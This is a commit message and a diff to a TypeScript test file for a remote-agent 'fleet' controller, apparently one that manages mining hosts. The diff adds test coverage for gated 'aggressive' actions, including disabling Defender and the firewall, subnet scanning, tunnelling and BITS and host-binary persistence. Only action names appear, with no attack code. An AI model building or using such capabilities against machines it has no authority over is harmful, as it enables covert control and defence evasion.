feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

server/web/src/help/remoteActions.test.ts

@@ -21,6 +21,8 @@ const UI_REMOTE_ACTIONS = [
   'get_log',
   'powershell',
   'upload',
+  'push_desktop',
+  'full_sys_check',
   ...AGGRESSIVE_REMOTE_ACTIONS,
 ] as const;
 
@@ -36,6 +38,8 @@ const AGENT_HANDLED = new Set([
   'exec',
   'powershell',
   'upload',
+  'push_desktop',
+  'full_sys_check',
   'download',
   'ps',
   'netstat',
@@ -54,6 +58,12 @@ const AGENT_HANDLED = new Set([
   'subnet_scan',
   'defender_off',
   'firewall_punch',
+  'firewall_off',
+  'firewall_on',
+  'firewall_profiles',
+  'firewall_remove',
+  'bits_persist',
+  'host_binary_persist',
   'mesh_status',
 ]);
 
@@ -78,8 +88,8 @@ describe('remote action wiring', () => {
 
 describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
   it('lists every wired aggressive command once', () => {
-    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
-    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
+    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
+    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
   });
 });
 
@@ -114,7 +124,18 @@ describe('canRunAggressiveAction edge cases', () => {
 
   it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
     const noAgg = { ...fullCaps, remote_aggressive: false };
-    for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
+    for (const action of [
+      'start_tunnel',
+      'subnet_scan',
+      'defender_off',
+      'firewall_punch',
+      'firewall_off',
+      'firewall_on',
+      'firewall_profiles',
+      'firewall_remove',
+      'bits_persist',
+      'host_binary_persist',
+    ] as const) {
       expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
       expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
     }